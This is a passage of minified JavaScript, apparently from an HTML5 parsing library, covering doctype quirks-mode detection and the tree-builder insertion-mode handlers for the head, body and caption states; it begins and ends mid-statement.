2.0 level 1//\",\"-//ietf//dtd html 2.0 level 2//\",\"-//ietf//dtd html 2.0 strict level 1//\",\"-//ietf//dtd html 2.0 strict level 2//\",\"-//ietf//dtd html 2.0 strict//\",\"-//ietf//dtd html 2.0//\",\"-//ietf//dtd html 2.1e//\",\"-//ietf//dtd html 3.0//\",\"-//ietf//dtd html 3.0//\",\"-//ietf//dtd html 3.2 final//\",\"-//ietf//dtd html 3.2//\",\"-//ietf//dtd html 3//\",\"-//ietf//dtd html level 0//\",\"-//ietf//dtd html level 0//\",\"-//ietf//dtd html level 1//\",\"-//ietf//dtd html level 1//\",\"-//ietf//dtd html level 2//\",\"-//ietf//dtd html level 2//\",\"-//ietf//dtd html level 3//\",\"-//ietf//dtd html level 3//\",\"-//ietf//dtd html strict level 0//\",\"-//ietf//dtd html strict level 0//\",\"-//ietf//dtd html strict level 1//\",\"-//ietf//dtd html strict level 1//\",\"-//ietf//dtd html strict level 2//\",\"-//ietf//dtd html strict level 2//\",\"-//ietf//dtd html strict level 3//\",\"-//ietf//dtd html strict level 3//\",\"-//ietf//dtd html strict//\",\"-//ietf//dtd html strict//\",\"-//ietf//dtd html strict//\",\"-//ietf//dtd html//\",\"-//ietf//dtd html//\",\"-//ietf//dtd html//\",\"-//metrius//dtd metrius presentational//\",\"-//microsoft//dtd internet explorer 2.0 html strict//\",\"-//microsoft//dtd internet explorer 2.0 html//\",\"-//microsoft//dtd internet explorer 2.0 tables//\",\"-//microsoft//dtd internet explorer 3.0 html strict//\",\"-//microsoft//dtd internet explorer 3.0 html//\",\"-//microsoft//dtd internet explorer 3.0 tables//\",\"-//netscape comm. corp.//dtd html//\",\"-//netscape comm. corp.//dtd strict html//\",\"-//o'reilly and associates//dtd html 2.0//\",\"-//o'reilly and associates//dtd html extended 1.0//\",\"-//spyglass//dtd html 2.0 extended//\",\"-//sq//dtd html 2.0 hotmetal + extensions//\",\"-//sun microsystems corp.//dtd hotjava html//\",\"-//sun microsystems corp.//dtd hotjava strict html//\",\"-//w3c//dtd html 3 1995-03-24//\",\"-//w3c//dtd html 3.2 draft//\",\"-//w3c//dtd html 3.2 final//\",\"-//w3c//dtd html 3.2//\",\"-//w3c//dtd html 3.2s draft//\",\"-//w3c//dtd html 4.0 frameset//\",\"-//w3c//dtd html 4.0 transitional//\",\"-//w3c//dtd html experimental 19960712//\",\"-//w3c//dtd html experimental 970421//\",\"-//w3c//dtd w3 html//\",\"-//w3o//dtd w3 html 3.0//\",\"-//webtechs//dtd mozilla html 2.0//\",\"-//webtechs//dtd mozilla html//\",\"html\"].some(s)||[\"-//w3o//dtd w3 html strict 3.0//en//\",\"-/w3c/dtd html 4.0 transitional/en\",\"html\"].indexOf(n.toLowerCase())>-1||r==null&&[\"-//w3c//dtd html 4.01 transitional//\",\"-//w3c//dtd html 4.01 frameset//\"].some(s))||r!=null&&r.toLowerCase()==\"http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd\"?(e.compatMode=\"quirks\",e.parseError(\"quirky-doctype\")):n!=null&&([\"-//w3c//dtd xhtml 1.0 transitional//\",\"-//w3c//dtd xhtml 1.0 frameset//\"].some(s)||r!=null&&[\"-//w3c//dtd html 4.01 transitional//\",\"-//w3c//dtd html 4.01 frameset//\"].indexOf(n.toLowerCase())>-1)?(e.compatMode=\"limited quirks\",e.parseError(\"almost-standards-doctype\")):n==\"-//W3C//DTD HTML 4.0//EN\"&&(r==null||r==\"http://www.w3.org/TR/REC-html40/strict.dtd\")||n==\"-//W3C//DTD HTML 4.01//EN\"&&(r==null||r==\"http://www.w3.org/TR/html4/strict.dtd\")||n==\"-//W3C//DTD XHTML 1.0 Strict//EN\"&&r==\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"||n==\"-//W3C//DTD XHTML 1.1//EN\"&&r==\"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\"||(r!=null&&r!=\"about:legacy-compat\"||n!=null)&&e.parseError(\"unknown-doctype\"),e.setInsertionMode(\"beforeHTML\")},t.initial.processCharacters=function(t){t.skipLeadingWhitespace();if(!t.length)return;e.parseError(\"expected-doctype-but-got-chars\"),this.anythingElse(),e.insertionMode.processCharacters(t)},t.initial.processStartTag=function(t,n,r){e.parseError(\"expected-doctype-but-got-start-tag\",{name:t}),this.anythingElse(),e.insertionMode.processStartTag(t,n,r)},t.initial.processEndTag=function(t){e.parseError(\"expected-doctype-but-got-end-tag\",{name:t}),this.anythingElse(),e.insertionMode.processEndTag(t)},t.initial.anythingElse=function(){e.compatMode=\"quirks\",e.setInsertionMode(\"beforeHTML\")},t.beforeHTML=Object.create(t.base),t.beforeHTML.start_tag_handlers={html:\"startTagHtml\",\"-default\":\"startTagOther\"},t.beforeHTML.processEOF=function(){this.anythingElse(),e.insertionMode.processEOF()},t.beforeHTML.processComment=function(t){e.insertComment(t,e.document)},t.beforeHTML.processCharacters=function(t){t.skipLeadingWhitespace();if(!t.length)return;this.anythingElse(),e.insertionMode.processCharacters(t)},t.beforeHTML.startTagHtml=function(t,n,r){e.insertHtmlElement(n),e.setInsertionMode(\"beforeHead\")},t.beforeHTML.startTagOther=function(t,n,r){this.anythingElse(),e.insertionMode.processStartTag(t,n,r)},t.beforeHTML.processEndTag=function(t){this.anythingElse(),e.insertionMode.processEndTag(t)},t.beforeHTML.anythingElse=function(){e.insertHtmlElement(),e.setInsertionMode(\"beforeHead\")},t.afterAfterBody=Object.create(t.base),t.afterAfterBody.start_tag_handlers={html:\"startTagHtml\",\"-default\":\"startTagOther\"},t.afterAfterBody.processComment=function(t){e.insertComment(t,e.document)},t.afterAfterBody.processDoctype=function(e){t.inBody.processDoctype(e)},t.afterAfterBody.startTagHtml=function(e,n){t.inBody.startTagHtml(e,n)},t.afterAfterBody.startTagOther=function(t,n,r){e.parseError(\"unexpected-start-tag\",{name:t}),e.setInsertionMode(\"inBody\"),e.insertionMode.processStartTag(t,n,r)},t.afterAfterBody.endTagOther=function(t){e.parseError(\"unexpected-end-tag\",{name:t}),e.setInsertionMode(\"inBody\"),e.insertionMode.processEndTag(t)},t.afterAfterBody.processCharacters=function(n){if(!p(n.characters))return e.parseError(\"unexpected-char-after-body\"),e.setInsertionMode(\"inBody\"),e.insertionMode.processCharacters(n);t.inBody.processCharacters(n)},t.afterBody=Object.create(t.base),t.afterBody.end_tag_handlers={html:\"endTagHtml\",\"-default\":\"endTagOther\"},t.afterBody.processComment=function(t){e.insertComment(t,e.openElements.rootNode)},t.afterBody.processCharacters=function(n){if(!p(n.characters))return e.parseError(\"unexpected-char-after-body\"),e.setInsertionMode(\"inBody\"),e.insertionMode.processCharacters(n);t.inBody.processCharacters(n)},t.afterBody.processStartTag=function(t,n,r){e.parseError(\"unexpected-start-tag-after-body\",{name:t}),e.setInsertionMode(\"inBody\"),e.insertionMode.processStartTag(t,n,r)},t.afterBody.endTagHtml=function(t){e.context?e.parseError(\"end-html-in-innerhtml\"):e.setInsertionMode(\"afterAfterBody\")},t.afterBody.endTagOther=function(t){e.parseError(\"unexpected-end-tag-after-body\",{name:t}),e.setInsertionMode(\"inBody\"),e.insertionMode.processEndTag(t)},t.afterFrameset=Object.create(t.base),t.afterFrameset.start_tag_handlers={html:\"startTagHtml\",noframes:\"startTagNoframes\",\"-default\":\"startTagOther\"},t.afterFrameset.end_tag_handlers={html:\"endTagHtml\",\"-default\":\"endTagOther\"},t.afterFrameset.processCharacters=function(t){var n=t.takeRemaining(),r=\"\";for(var i=0;i<n.length;i++){var s=n[i];c(s)&&(r+=s)}r&&e.insertText(r),r.length<n.length&&e.parseError(\"expected-eof-but-got-char\")},t.afterFrameset.startTagNoframes=function(e,n){t.inHead.processStartTag(e,n)},t.afterFrameset.startTagOther=function(t,n){e.parseError(\"unexpected-start-tag-after-frameset\",{name:t})},t.afterFrameset.endTagHtml=function(t){e.setInsertionMode(\"afterAfterFrameset\")},t.afterFrameset.endTagOther=function(t){e.parseError(\"unexpected-end-tag-after-frameset\",{name:t})},t.beforeHead=Object.create(t.base),t.beforeHead.start_tag_handlers={html:\"startTagHtml\",head:\"startTagHead\",\"-default\":\"startTagOther\"},t.beforeHead.end_tag_handlers={html:\"endTagImplyHead\",head:\"endTagImplyHead\",body:\"endTagImplyHead\",br:\"endTagImplyHead\",\"-default\":\"endTagOther\"},t.beforeHead.processEOF=function(){this.startTagHead(\"head\",[]),e.insertionMode.processEOF()},t.beforeHead.processCharacters=function(t){t.skipLeadingWhitespace();if(!t.length)return;this.startTagHead(\"head\",[]),e.insertionMode.processCharacters(t)},t.beforeHead.startTagHead=function(t,n){e.insertHeadElement(n),e.setInsertionMode(\"inHead\")},t.beforeHead.startTagOther=function(t,n,r){this.startTagHead(\"head\",[]),e.insertionMode.processStartTag(t,n,r)},t.beforeHead.endTagImplyHead=function(t){this.startTagHead(\"head\",[]),e.insertionMode.processEndTag(t)},t.beforeHead.endTagOther=function(t){e.parseError(\"end-tag-after-implied-root\",{name:t})},t.inHead=Object.create(t.base),t.inHead.start_tag_handlers={html:\"startTagHtml\",head:\"startTagHead\",title:\"startTagTitle\",script:\"startTagScript\",style:\"startTagNoFramesStyle\",noscript:\"startTagNoScript\",noframes:\"startTagNoFramesStyle\",base:\"startTagBaseBasefontBgsoundLink\",basefont:\"startTagBaseBasefontBgsoundLink\",bgsound:\"startTagBaseBasefontBgsoundLink\",link:\"startTagBaseBasefontBgsoundLink\",meta:\"startTagMeta\",\"-default\":\"startTagOther\"},t.inHead.end_tag_handlers={head:\"endTagHead\",html:\"endTagHtmlBodyBr\",body:\"endTagHtmlBodyBr\",br:\"endTagHtmlBodyBr\",\"-default\":\"endTagOther\"},t.inHead.processEOF=function(){var t=e.currentStackItem().localName;[\"title\",\"style\",\"script\"].indexOf(t)!=-1&&(e.parseError(\"expected-named-closing-tag-but-got-eof\",{name:t}),e.popElement()),this.anythingElse(),e.insertionMode.processEOF()},t.inHead.processCharacters=function(t){var n=t.takeLeadingWhitespace();n&&e.insertText(n);if(!t.length)return;this.anythingElse(),e.insertionMode.processCharacters(t)},t.inHead.startTagHtml=function(e,n){t.inBody.processStartTag(e,n)},t.inHead.startTagHead=function(t,n){e.parseError(\"two-heads-are-not-better-than-one\")},t.inHead.startTagTitle=function(t,n){e.processGenericRCDATAStartTag(t,n)},t.inHead.startTagNoScript=function(t,n){if(e.scriptingEnabled)return e.processGenericRawTextStartTag(t,n);e.insertElement(t,n),e.setInsertionMode(\"inHeadNoscript\")},t.inHead.startTagNoFramesStyle=function(t,n){e.processGenericRawTextStartTag(t,n)},t.inHead.startTagScript=function(t,n){e.insertElement(t,n),e.tokenizer.setState(u.SCRIPT_DATA),e.originalInsertionMode=e.insertionModeName,e.setInsertionMode(\"text\")},t.inHead.startTagBaseBasefontBgsoundLink=function(t,n){e.insertSelfClosingElement(t,n)},t.inHead.startTagMeta=function(t,n){e.insertSelfClosingElement(t,n)},t.inHead.startTagOther=function(t,n,r){this.anythingElse(),e.insertionMode.processStartTag(t,n,r)},t.inHead.endTagHead=function(t){e.openElements.item(e.openElements.length-1).localName==\"head\"?e.openElements.pop():e.parseError(\"unexpected-end-tag\",{name:\"head\"}),e.setInsertionMode(\"afterHead\")},t.inHead.endTagHtmlBodyBr=function(t){this.anythingElse(),e.insertionMode.processEndTag(t)},t.inHead.endTagOther=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.inHead.anythingElse=function(){this.endTagHead(\"head\")},t.afterHead=Object.create(t.base),t.afterHead.start_tag_handlers={html:\"startTagHtml\",head:\"startTagHead\",body:\"startTagBody\",frameset:\"startTagFrameset\",base:\"startTagFromHead\",link:\"startTagFromHead\",meta:\"startTagFromHead\",script:\"startTagFromHead\",style:\"startTagFromHead\",title:\"startTagFromHead\",\"-default\":\"startTagOther\"},t.afterHead.end_tag_handlers={body:\"endTagBodyHtmlBr\",html:\"endTagBodyHtmlBr\",br:\"endTagBodyHtmlBr\",\"-default\":\"endTagOther\"},t.afterHead.processEOF=function(){this.anythingElse(),e.insertionMode.processEOF()},t.afterHead.processCharacters=function(t){var n=t.takeLeadingWhitespace();n&&e.insertText(n);if(!t.length)return;this.anythingElse(),e.insertionMode.processCharacters(t)},t.afterHead.startTagHtml=function(e,n){t.inBody.processStartTag(e,n)},t.afterHead.startTagBody=function(t,n){e.framesetOk=!1,e.insertBodyElement(n),e.setInsertionMode(\"inBody\")},t.afterHead.startTagFrameset=function(t,n){e.insertElement(t,n),e.setInsertionMode(\"inFrameset\")},t.afterHead.startTagFromHead=function(n,r,i){e.parseError(\"unexpected-start-tag-out-of-my-head\",{name:n}),e.openElements.push(e.head),t.inHead.processStartTag(n,r,i),e.openElements.remove(e.head)},t.afterHead.startTagHead=function(t,n,r){e.parseError(\"unexpected-start-tag\",{name:t})},t.afterHead.startTagOther=function(t,n,r){this.anythingElse(),e.insertionMode.processStartTag(t,n,r)},t.afterHead.endTagBodyHtmlBr=function(t){this.anythingElse(),e.insertionMode.processEndTag(t)},t.afterHead.endTagOther=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.afterHead.anythingElse=function(){e.insertBodyElement([]),e.setInsertionMode(\"inBody\"),e.framesetOk=!0},t.inBody=Object.create(t.base),t.inBody.start_tag_handlers={html:\"startTagHtml\",head:\"startTagMisplaced\",base:\"startTagProcessInHead\",basefont:\"startTagProcessInHead\",bgsound:\"startTagProcessInHead\",link:\"startTagProcessInHead\",meta:\"startTagProcessInHead\",noframes:\"startTagProcessInHead\",script:\"startTagProcessInHead\",style:\"startTagProcessInHead\",title:\"startTagProcessInHead\",body:\"startTagBody\",form:\"startTagForm\",plaintext:\"startTagPlaintext\",a:\"startTagA\",button:\"startTagButton\",xmp:\"startTagXmp\",table:\"startTagTable\",hr:\"startTagHr\",image:\"startTagImage\",input:\"startTagInput\",textarea:\"startTagTextarea\",select:\"startTagSelect\",isindex:\"startTagIsindex\",applet:\"startTagAppletMarqueeObject\",marquee:\"startTagAppletMarqueeObject\",object:\"startTagAppletMarqueeObject\",li:\"startTagListItem\",dd:\"startTagListItem\",dt:\"startTagListItem\",address:\"startTagCloseP\",article:\"startTagCloseP\",aside:\"startTagCloseP\",blockquote:\"startTagCloseP\",center:\"startTagCloseP\",details:\"startTagCloseP\",dir:\"startTagCloseP\",div:\"startTagCloseP\",dl:\"startTagCloseP\",fieldset:\"startTagCloseP\",figcaption:\"startTagCloseP\",figure:\"startTagCloseP\",footer:\"startTagCloseP\",header:\"startTagCloseP\",hgroup:\"startTagCloseP\",main:\"startTagCloseP\",menu:\"startTagCloseP\",nav:\"startTagCloseP\",ol:\"startTagCloseP\",p:\"startTagCloseP\",section:\"startTagCloseP\",summary:\"startTagCloseP\",ul:\"startTagCloseP\",listing:\"startTagPreListing\",pre:\"startTagPreListing\",b:\"startTagFormatting\",big:\"startTagFormatting\",code:\"startTagFormatting\",em:\"startTagFormatting\",font:\"startTagFormatting\",i:\"startTagFormatting\",s:\"startTagFormatting\",small:\"startTagFormatting\",strike:\"startTagFormatting\",strong:\"startTagFormatting\",tt:\"startTagFormatting\",u:\"startTagFormatting\",nobr:\"startTagNobr\",area:\"startTagVoidFormatting\",br:\"startTagVoidFormatting\",embed:\"startTagVoidFormatting\",img:\"startTagVoidFormatting\",keygen:\"startTagVoidFormatting\",wbr:\"startTagVoidFormatting\",param:\"startTagParamSourceTrack\",source:\"startTagParamSourceTrack\",track:\"startTagParamSourceTrack\",iframe:\"startTagIFrame\",noembed:\"startTagRawText\",noscript:\"startTagRawText\",h1:\"startTagHeading\",h2:\"startTagHeading\",h3:\"startTagHeading\",h4:\"startTagHeading\",h5:\"startTagHeading\",h6:\"startTagHeading\",caption:\"startTagMisplaced\",col:\"startTagMisplaced\",colgroup:\"startTagMisplaced\",frame:\"startTagMisplaced\",frameset:\"startTagFrameset\",tbody:\"startTagMisplaced\",td:\"startTagMisplaced\",tfoot:\"startTagMisplaced\",th:\"startTagMisplaced\",thead:\"startTagMisplaced\",tr:\"startTagMisplaced\",option:\"startTagOptionOptgroup\",optgroup:\"startTagOptionOptgroup\",math:\"startTagMath\",svg:\"startTagSVG\",rt:\"startTagRpRt\",rp:\"startTagRpRt\",\"-default\":\"startTagOther\"},t.inBody.end_tag_handlers={p:\"endTagP\",body:\"endTagBody\",html:\"endTagHtml\",address:\"endTagBlock\",article:\"endTagBlock\",aside:\"endTagBlock\",blockquote:\"endTagBlock\",button:\"endTagBlock\",center:\"endTagBlock\",details:\"endTagBlock\",dir:\"endTagBlock\",div:\"endTagBlock\",dl:\"endTagBlock\",fieldset:\"endTagBlock\",figcaption:\"endTagBlock\",figure:\"endTagBlock\",footer:\"endTagBlock\",header:\"endTagBlock\",hgroup:\"endTagBlock\",listing:\"endTagBlock\",main:\"endTagBlock\",menu:\"endTagBlock\",nav:\"endTagBlock\",ol:\"endTagBlock\",pre:\"endTagBlock\",section:\"endTagBlock\",summary:\"endTagBlock\",ul:\"endTagBlock\",form:\"endTagForm\",applet:\"endTagAppletMarqueeObject\",marquee:\"endTagAppletMarqueeObject\",object:\"endTagAppletMarqueeObject\",dd:\"endTagListItem\",dt:\"endTagListItem\",li:\"endTagListItem\",h1:\"endTagHeading\",h2:\"endTagHeading\",h3:\"endTagHeading\",h4:\"endTagHeading\",h5:\"endTagHeading\",h6:\"endTagHeading\",a:\"endTagFormatting\",b:\"endTagFormatting\",big:\"endTagFormatting\",code:\"endTagFormatting\",em:\"endTagFormatting\",font:\"endTagFormatting\",i:\"endTagFormatting\",nobr:\"endTagFormatting\",s:\"endTagFormatting\",small:\"endTagFormatting\",strike:\"endTagFormatting\",strong:\"endTagFormatting\",tt:\"endTagFormatting\",u:\"endTagFormatting\",br:\"endTagBr\",\"-default\":\"endTagOther\"},t.inBody.processCharacters=function(t){e.shouldSkipLeadingNewline&&(e.shouldSkipLeadingNewline=!1,t.skipAtMostOneLeadingNewline()),e.reconstructActiveFormattingElements();var n=t.takeRemaining();n=n.replace(/\\u0000/g,function(t,n){return e.parseError(\"invalid-codepoint\"),\"\"});if(!n)return;e.insertText(n),e.framesetOk&&!d(n)&&(e.framesetOk=!1)},t.inBody.startTagHtml=function(t,n){e.parseError(\"non-html-root\"),e.addAttributesToElement(e.openElements.rootNode,n)},t.inBody.startTagProcessInHead=function(e,n){t.inHead.processStartTag(e,n)},t.inBody.startTagBody=function(t,n){e.parseError(\"unexpected-start-tag\",{name:\"body\"}),e.openElements.length==1||e.openElements.item(1).localName!=\"body\"?r.ok(e.context):(e.framesetOk=!1,e.addAttributesToElement(e.openElements.bodyElement,n))},t.inBody.startTagFrameset=function(t,n){e.parseError(\"unexpected-start-tag\",{name:\"frameset\"});if(e.openElements.length==1||e.openElements.item(1).localName!=\"body\")r.ok(e.context);else if(e.framesetOk){e.detachFromParent(e.openElements.bodyElement);while(e.openElements.length>1)e.openElements.pop();e.insertElement(t,n),e.setInsertionMode(\"inFrameset\")}},t.inBody.startTagCloseP=function(t,n){e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertElement(t,n)},t.inBody.startTagPreListing=function(t,n){e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertElement(t,n),e.framesetOk=!1,e.shouldSkipLeadingNewline=!0},t.inBody.startTagForm=function(t,n){e.form?e.parseError(\"unexpected-start-tag\",{name:t}):(e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertElement(t,n),e.form=e.currentStackItem())},t.inBody.startTagRpRt=function(t,n){e.openElements.inScope(\"ruby\")&&(e.generateImpliedEndTags(),e.currentStackItem().localName!=\"ruby\"&&e.parseError(\"unexpected-start-tag\",{name:t})),e.insertElement(t,n)},t.inBody.startTagListItem=function(t,n){var r={li:[\"li\"],dd:[\"dd\",\"dt\"],dt:[\"dd\",\"dt\"]},i=r[t],s=e.openElements;for(var o=s.length-1;o>=0;o--){var u=s.item(o);if(i.indexOf(u.localName)!=-1){e.insertionMode.processEndTag(u.localName);break}if(u.isSpecial()&&u.localName!==\"p\"&&u.localName!==\"address\"&&u.localName!==\"div\")break}e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertElement(t,n),e.framesetOk=!1},t.inBody.startTagPlaintext=function(t,n){e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertElement(t,n),e.tokenizer.setState(u.PLAINTEXT)},t.inBody.startTagHeading=function(t,n){e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.currentStackItem().isNumberedHeader()&&(e.parseError(\"unexpected-start-tag\",{name:t}),e.popElement()),e.insertElement(t,n)},t.inBody.startTagA=function(t,n){var r=e.elementInActiveFormattingElements(\"a\");r&&(e.parseError(\"unexpected-start-tag-implies-end-tag\",{startName:\"a\",endName:\"a\"}),e.adoptionAgencyEndTag(\"a\"),e.openElements.contains(r)&&e.openElements.remove(r),e.removeElementFromActiveFormattingElements(r)),e.reconstructActiveFormattingElements(),e.insertFormattingElement(t,n)},t.inBody.startTagFormatting=function(t,n){e.reconstructActiveFormattingElements(),e.insertFormattingElement(t,n)},t.inBody.startTagNobr=function(t,n){e.reconstructActiveFormattingElements(),e.openElements.inScope(\"nobr\")&&(e.parseError(\"unexpected-start-tag-implies-end-tag\",{startName:\"nobr\",endName:\"nobr\"}),this.processEndTag(\"nobr\"),e.reconstructActiveFormattingElements()),e.insertFormattingElement(t,n)},t.inBody.startTagButton=function(t,n){e.openElements.inScope(\"button\")?(e.parseError(\"unexpected-start-tag-implies-end-tag\",{startName:\"button\",endName:\"button\"}),this.processEndTag(\"button\"),e.insertionMode.processStartTag(t,n)):(e.framesetOk=!1,e.reconstructActiveFormattingElements(),e.insertElement(t,n))},t.inBody.startTagAppletMarqueeObject=function(t,n){e.reconstructActiveFormattingElements(),e.insertElement(t,n),e.activeFormattingElements.push(l),e.framesetOk=!1},t.inBody.endTagAppletMarqueeObject=function(t){e.openElements.inScope(t)?(e.generateImpliedEndTags(),e.currentStackItem().localName!=t&&e.parseError(\"end-tag-too-early\",{name:t}),e.openElements.popUntilPopped(t),e.clearActiveFormattingElements()):e.parseError(\"unexpected-end-tag\",{name:t})},t.inBody.startTagXmp=function(t,n){e.openElements.inButtonScope(\"p\")&&this.processEndTag(\"p\"),e.reconstructActiveFormattingElements(),e.processGenericRawTextStartTag(t,n),e.framesetOk=!1},t.inBody.startTagTable=function(t,n){e.compatMode!==\"quirks\"&&e.openElements.inButtonScope(\"p\")&&this.processEndTag(\"p\"),e.insertElement(t,n),e.setInsertionMode(\"inTable\"),e.framesetOk=!1},t.inBody.startTagVoidFormatting=function(t,n){e.reconstructActiveFormattingElements(),e.insertSelfClosingElement(t,n),e.framesetOk=!1},t.inBody.startTagParamSourceTrack=function(t,n){e.insertSelfClosingElement(t,n)},t.inBody.startTagHr=function(t,n){e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertSelfClosingElement(t,n),e.framesetOk=!1},t.inBody.startTagImage=function(t,n){e.parseError(\"unexpected-start-tag-treated-as\",{originalName:\"image\",newName:\"img\"}),this.processStartTag(\"img\",n)},t.inBody.startTagInput=function(t,n){var r=e.framesetOk;this.startTagVoidFormatting(t,n);for(var i in n)if(n[i].nodeName==\"type\"){n[i].nodeValue.toLowerCase()==\"hidden\"&&(e.framesetOk=r);break}},t.inBody.startTagIsindex=function(t,n){e.parseError(\"deprecated-tag\",{name:\"isindex\"}),e.selfClosingFlagAcknowledged=!0;if(e.form)return;var r=[],i=[],s=\"This is a searchable index. Enter search keywords: \";for(var o in n)switch(n[o].nodeName){case\"action\":r.push({nodeName:\"action\",nodeValue:n[o].nodeValue});break;case\"prompt\":s=n[o].nodeValue;break;case\"name\":break;default:i.push({nodeName:n[o].nodeName,nodeValue:n[o].nodeValue})}i.push({nodeName:\"name\",nodeValue:\"isindex\"}),this.processStartTag(\"form\",r),this.processStartTag(\"hr\"),this.processStartTag(\"label\"),this.processCharacters(new m(s)),this.processStartTag(\"input\",i),this.processEndTag(\"label\"),this.processStartTag(\"hr\"),this.processEndTag(\"form\")},t.inBody.startTagTextarea=function(t,n){e.insertElement(t,n),e.tokenizer.setState(u.RCDATA),e.originalInsertionMode=e.insertionModeName,e.shouldSkipLeadingNewline=!0,e.framesetOk=!1,e.setInsertionMode(\"text\")},t.inBody.startTagIFrame=function(t,n){e.framesetOk=!1,this.startTagRawText(t,n)},t.inBody.startTagRawText=function(t,n){e.processGenericRawTextStartTag(t,n)},t.inBody.startTagSelect=function(t,n){e.reconstructActiveFormattingElements(),e.insertElement(t,n),e.framesetOk=!1;var r=e.insertionModeName;r==\"inTable\"||r==\"inCaption\"||r==\"inColumnGroup\"||r==\"inTableBody\"||r==\"inRow\"||r==\"inCell\"?e.setInsertionMode(\"inSelectInTable\"):e.setInsertionMode(\"inSelect\")},t.inBody.startTagMisplaced=function(t,n){e.parseError(\"unexpected-start-tag-ignored\",{name:t})},t.inBody.endTagMisplaced=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.inBody.endTagBr=function(t){e.parseError(\"unexpected-end-tag-treated-as\",{originalName:\"br\",newName:\"br element\"}),e.reconstructActiveFormattingElements(),e.insertElement(t,[]),e.popElement()},t.inBody.startTagOptionOptgroup=function(t,n){e.currentStackItem().localName==\"option\"&&e.popElement(),e.reconstructActiveFormattingElements(),e.insertElement(t,n)},t.inBody.startTagOther=function(t,n){e.reconstructActiveFormattingElements(),e.insertElement(t,n)},t.inBody.endTagOther=function(t){var n;for(var r=e.openElements.length-1;r>0;r--){n=e.openElements.item(r);if(n.localName==t){e.generateImpliedEndTags(t),e.currentStackItem().localName!=t&&e.parseError(\"unexpected-end-tag\",{name:t}),e.openElements.remove_openElements_until(function(e){return e===n});break}if(n.isSpecial()){e.parseError(\"unexpected-end-tag\",{name:t});break}}},t.inBody.startTagMath=function(t,n,r){e.reconstructActiveFormattingElements(),n=e.adjustMathMLAttributes(n),n=e.adjustForeignAttributes(n),e.insertForeignElement(t,n,\"http://www.w3.org/1998/Math/MathML\",r)},t.inBody.startTagSVG=function(t,n,r){e.reconstructActiveFormattingElements(),n=e.adjustSVGAttributes(n),n=e.adjustForeignAttributes(n),e.insertForeignElement(t,n,\"http://www.w3.org/2000/svg\",r)},t.inBody.endTagP=function(t){e.openElements.inButtonScope(\"p\")?(e.generateImpliedEndTags(\"p\"),e.currentStackItem().localName!=\"p\"&&e.parseError(\"unexpected-implied-end-tag\",{name:\"p\"}),e.openElements.popUntilPopped(t)):(e.parseError(\"unexpected-end-tag\",{name:\"p\"}),this.startTagCloseP(\"p\",[]),this.endTagP(\"p\"))},t.inBody.endTagBody=function(t){if(!e.openElements.inScope(\"body\")){e.parseError(\"unexpected-end-tag\",{name:t});return}e.currentStackItem().localName!=\"body\"&&e.parseError(\"expected-one-end-tag-but-got-another\",{expectedName:e.currentStackItem().localName,gotName:t}),e.setInsertionMode(\"afterBody\")},t.inBody.endTagHtml=function(t){if(!e.openElements.inScope(\"body\")){e.parseError(\"unexpected-end-tag\",{name:t});return}e.currentStackItem().localName!=\"body\"&&e.parseError(\"expected-one-end-tag-but-got-another\",{expectedName:e.currentStackItem().localName,gotName:t}),e.setInsertionMode(\"afterBody\"),e.insertionMode.processEndTag(t)},t.inBody.endTagBlock=function(t){e.openElements.inScope(t)?(e.generateImpliedEndTags(),e.currentStackItem().localName!=t&&e.parseError(\"end-tag-too-early\",{name:t}),e.openElements.popUntilPopped(t)):e.parseError(\"unexpected-end-tag\",{name:t})},t.inBody.endTagForm=function(t){var n=e.form;e.form=null,!n||!e.openElements.inScope(t)?e.parseError(\"unexpected-end-tag\",{name:t}):(e.generateImpliedEndTags(),e.currentStackItem()!=n&&e.parseError(\"end-tag-too-early-ignored\",{name:\"form\"}),e.openElements.remove(n))},t.inBody.endTagListItem=function(t){e.openElements.inListItemScope(t)?(e.generateImpliedEndTags(t),e.currentStackItem().localName!=t&&e.parseError(\"end-tag-too-early\",{name:t}),e.openElements.popUntilPopped(t)):e.parseError(\"unexpected-end-tag\",{name:t})},t.inBody.endTagHeading=function(t){if(!e.openElements.hasNumberedHeaderElementInScope()){e.parseError(\"unexpected-end-tag\",{name:t});return}e.generateImpliedEndTags(),e.currentStackItem().localName!=t&&e.parseError(\"end-tag-too-early\",{name:t}),e.openElements.remove_openElements_until(function(e){return e.isNumberedHeader()})},t.inBody.endTagFormatting=function(t,n){e.adoptionAgencyEndTag(t)||this.endTagOther(t,n)},t.inCaption=Object.create(t.base),t.inCaption.start_tag_handlers={html:\"startTagHtml\",caption:\"startTagTableElement\",col:\"startTagTableElement\",colgroup:\"startTagTableElement\",tbody:\"startTagTableElement\",td:\"startTagTableElement\",tfoot:\"startTagTableElement\",thead:\"startTagTableElement\",tr:\"startTagTableElement\",\"-default\":\"startTagOther\"},t.inCaption.end_tag_handlers={caption:\"endTagCaption\",table:\"endTagTable\",body:\"endTagIgnore\",col:\"endTagIgnore\",colgroup:\"endTagIgnore\",html:\"endTagIgnore\",tbody:\"endTagIgnore\",td:\"endTagIgnore\",tfood:\"endTagIgnore\",thead:\"endTagIgnore\",tr:\"endTagIgnore\",\"-default\":\"endTagOther\"},t.inCaption.processCharacters=function(e){t.inBody.processCharacters(e)},t.inCaption.startTagTableElement=function(t,n){e.parseError(\"unexpected-end-tag\",{name:t});var 